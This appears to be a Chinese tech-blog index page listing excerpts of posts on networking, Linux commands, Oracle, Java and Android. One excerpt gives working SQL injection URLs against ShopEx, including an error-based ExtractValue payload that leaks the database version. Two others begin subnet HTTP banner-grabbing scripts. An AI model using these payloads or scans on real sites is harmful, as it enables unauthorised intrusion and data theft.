version

TCP/IP卷一 2.2 IPv6报头 2015-11-02

version:6 Traffic class:=ToS字段 Flow label:允许特定的业务流打上标签 Payload length(20b,指定更长的有效负载):有效载荷长度(因为IPv6数据报头固定40B,不加进去) Next header:下一层的协议(包括IPv6的扩展头部+四层头部) Hop limit:=TTL

每天一个linux命令(42):kill命令 2015-11-01

每天一个linux命令(42):kill命令 Linux中的kill命令用来终止指定的进程(terminate a process)的运行,是Linux下进程管理的常用命令.通常,终止一个前台进程可以使用Ctrl+C键,但是,对于一个后台进程就须用kill命令来终止,我们就需要先使用ps/pidof/pstree/top等工具获取进程PID,然后使用kill命令来杀掉该进程.kill命令是通过向进程发送指定的信号来结束相应进程的.在默认情况下,采用编号为15的TERM信号.TERM信号将终止所有

每天一个linux命令(40):wc命令 2015-10-31

每天一个linux命令(40):wc命令 Linux系统中的wc(Word Count)命令的功能为统计指定文件中的字节数.字数.行数,并将统计结果显示输出. 1.命令格式: wc [选项]文件... 2.命令功能: 统计指定文件中的字节数.字数.行数,并将统计结果显示输出.该命令统计指定文件中的字节数.字数.行数.如果没有给出文件名,则从标准输入读取.wc同时也给出所指定文件的总统计数. 3.命令参数: -c 统计字节数. -l 统计行数. -m 统计字符数.这个标志不能与 -c 标志一起使用

apache基于mysql数据库用户身份认证 2015-10-30

首先安装一下mysql数据库 [[email protected] ~]# yum install -y mysql-sever mysql-devel 启动mysql数据库 [[email protected] ~]# service mysqld restart 给mysql的root设置一个密码为123 [[email protected] ~]# mysqladmin -uroot password 123 进入mysql数据库 [[email protected] ~]# mysql -uroot -p123

采用HttpServlet 实现web文件下载 2015-10-26

import java.io.*; import javax.servlet.*; import javax.servlet.http.*; import com.TopWisdom.framework.util.*; /** * <p>Title: tomcat 5.59文件下载</p> * <p>Description: 困惑我与我的项目组很久的web文件下载,今天终于解决了,借此也奉献给与我一样的困惑的朋友</p> * <p>Copyrig

S2S3H4框架深度集成搭建(3) hibernate的深度集成 2015-10-26

之 前分别写了集成struts2,以及spring3的关键问题,就剩hibernate4了,但是其中并不需要什么特殊的地方.只是将hibernate 的配置全部转换到spring的配置中去而已.网上搜一搜有大量的技术文章,我这里就不详细赘述了,只是将本人的配置文件内容贴出来供大家参考: <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframewo

Cortex依赖管理 2015-10-26

cortex对模块的依赖基于semantic version进行管理,如果熟悉npm的模块管理方式,大家都了解node的模块是放在node_modules这个目录下,每个模块自己的依赖都放在自己目录下的node_modules里面,这样避免了不同模块之间的共同依赖版本冲突的问题. 而在前端开发中,套嵌的依赖是不可能的,因为: 1) web开发的载入是异步的,不能像node那样去在运行时检测文件上依赖是否存在,远程检测模块是否存在再载入非常耗时. 2) 文件大小限制,相对于磁盘的廉价,http请求

oracleoracle linux 6.3+11GR2 安装 2015-10-26

具体的安装步骤网上已经很多,我只说碰到的几个问题. 虚拟机环境下安装. 虚拟机版本: virtual box 4.2 guest os: oracle linux 6.3 DB version: 11.2.0.3.0 安装RDBMS的时候之前,要检查OS的很多包是否安装. 在oracle linux 6 中提供了一个包,可以解决这个问题,省得你一一检查: oracle-rdbms-server-11gR2-preinstall 如果你的虚拟机能上外网,且网络好,就直接 yum install o

oracletruncate 操作对索引的影响 2015-10-26

由于测试库的需要,每个月要对部分表的数据清空,然后插入新的数据. 然后就在想truncate后对原表上的索引是否有影响. 测试实验如下: 数据库版本: SQL> select * from v$version; BANNER ---------------------------------------------------------------- Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Prod PL/SQL

oracleflashback query 2015-10-26

今天无意间有个同事问 SELECT employee_id,salary FROM employees AS OF TIMESTAMP(SYSTIMESTAMP-INTERVAL'10' minute). 表达的意思.看到 as of ,之前还真没见过,遂查之. 原来这句话是想查 employees 十分钟之前的数据. 随后就引出了oracle的 flashback 技术. 本文通过实验说明其中的 flashback query 部分. 查看数据库版本: SQL> select * from v

修改系统启动项 grub2配置的方法 ubuntu 2015-10-24

在 早期的Ubuntu中,使用Grub作为系统的启动引导程序,想修改系统启动项非常简单,只要用gedit打开系统菜单设定文件( sudo gedit /boot/grub/menu.lst ),修改该文件中到内容即可,但是到了Grub 2中,不能采用这种方式修改系统启动项了. Grub 2特性 Grub 2(GRand Unified Bootloader, version 2)是Grub的第二版.Grub 2对Grub的接口进行了完整到重写,基于PUPA(详细介绍)项目到研究,Grub 2更模

Linux使用FlowScan 2015-10-23

Linux使用FlowScan完全安装配置指南 2015.04.30 1. Flowscan介绍 Flowscan采用Perl语言编写,主要用于处理展现网络设备发过来Netflow数据. 早先Flowscan利用cflow收集处理netflow v5数据,后来利用flow-tool收集处理netflow v5数据, 注意cflow需要在flow-tool下面编译供flowscan后期使用,然后flowscan对流进行扫描分析并绘图, 是一款挺不错的Netflow分析展现工具. CUFlow是Fl

实现TabWidget选项卡按钮在屏幕下方 2015-10-22

看到很多热门的Android程序(如:新浪微博.腾讯微博.京东商城.淘宝.当当等等)使用选项卡风格作为程序界面的主框架结构,而Android的选项卡控件默认是按钮在上方的.我在网上看到有多种实现方法,这里提供一种个人觉得比较简单的.由于我对Android开发所知甚少,方法的优劣目前不好评价,欢迎各位提供更好的思路. 主要原理:设置 TabWidget 控件的 android:layout_alignParentBottom="true" 实现. main.xml <?xml ve

shopex通杀注入两处 2015-10-22

http://www.x.cn/index.php?comment-822'/**/and/**/'1'='1-ask-commentlist.html http://www.x.com/comment-8967'/**/and/**/ExtractValue(0x64,concat(0x01,(select/**/@@version)))/**/order/**/by/**/'1-ask-commentlist.html http://www.x.cn/index.php?comment-82

解决Project facet Java version 6.0 is not supported的方法 2015-10-22

把之前的项目导入Eclipse,发现有打叉,但找不到原因,后在项目的右键菜单中无意选择了[Profile As]-[Profile On Server]时,才发现是Project facet Java version 6.0 is not supported的问题. 这个问题遇到过,解决方法是在项目的右键菜单中选择[Properties]-[Project Facets],修改Java的版本为你安装的JDK的版本即可,如我的项目开发时是JDK 6.0(1.6)的,而我电脑里的是5.0(1.5)的

mvn pom 2015-10-21

转自http://buzhucele.iteye.com/blog/1218004 1.前言 Maven,发音是[`meivin],"专家"的意思.它是一个很好的项目管理工具,很早就进入了我的必备工具行列,但是这次为了把project1项目完全迁移并应用maven,所以对maven进行了一些深入的学习.写这个学习笔记的目的,一个是为了自己备忘,二则希望能够为其他人学习使用maven 缩短一些时间. 2.命令 mvn pom.xml文件配置详解 http://maven.apache.o

C段http_banner获取 2015-10-21

#-*-coding=utf-8-*- # __author__ = 'sanr' # __email__ = [email protected]' # __url__ = 'http://0x007.blog.51cto.com/' # __version__ = '0.1' import requests import re from threading import Thread,Lock import time import sys import chardet import netaddr

http_banner获取v0.2 2015-10-21

#-*-coding=utf-8-*- # __author__ = 'sanr' # __email__ = [email protected]' # __url__ = 'http://0x007.blog.51cto.com/' # __version__ = '0.2' import requests import re from threading import Thread,Lock import time import sys import chardet import netaddr
一周排行
  •   SqlServer 和MySql都有自增长的功能,而Oracle必须接结合sequence序列(一般用于主键列),并使用触发器才能够实现自动增长,具体步骤如下:   一.            建表 create ...
  • RHEL5下安装wireshark的一些注意事项   操作系统 RHEL5.4,下载最新的wireshark源码(wireshark-1.8.3.tar.bz2)安装,./conigure错误多多 下了个老版本的(w ...
  • STL实践与分析--再谈迭代器通过使用元素类型提供的>>操作符从输入流中获取下一个元素值,使迭代器向前移动.通常,前缀版本使迭代器再流中向前移动,并返回对加1后的迭代器的引用.而后缀版本使迭代器在流中向前 ...
  • 易网科技讯 10月13日消息,3G应用与开发商大会今天开幕,易网科技作为官方门户在现场为您直播报道.中国电信应用商店运营中心副总经理吴江在会上表示,应用商店成功不在于其拥有的终端数量有多少,而在于其应用的丰富程度及对 ...
  • Q: What are '__FILE__' and '__LINE__'? A: '__FILE__' and '__LINE__' are predefined macros and part of the C/ ...
  • 简介 众所周知,手段高超的攻击者现在拥有足够的资源.专业知识和毅力,可能随时危害任何组织的安全.恶意软件无处不在.传统的防御措施(包括防火墙和端点保护)已无法有效地抵御这些攻击,这意味着恶意软件的处理过程必须有所发展 ...
  • 通常,多线程之间需要协调工作.例如,浏览器的一个显示图片的线程displayThread想要执行显示图片的任务,必须等待下载线程downloadThread将该图片下载完毕.如果图片还没有下载完,displayThr ...
  • 云计算参考架构: 上图阐释如何创建私有和混合云,最终用户可以自行提供计算. 存储和网络.许多大型组织开始创建内部的私有云,来增强其数据中心战略. 58同城的云架构: 百度社区的云架构 结合对弹性服务的理解,第一个是弹 ...
  • jQuery自带的一些常用方法总结 这篇文章主要介绍了jQuery自带的一些常用方法总结,包括$.trim .$.contains.$.each.$.map.$.inArray.$.extend等,需要的朋友可以参考 ...
  • 本人一直用真机调试极光推送,一直没问题,今天准备在模拟器上运行项目看看,刚运行就爆掉了,感觉有些奇怪,遂查日志: 呵呵,致命错误:Fatal signal 11 (SIGSEGV) at 0x00070016 (co ...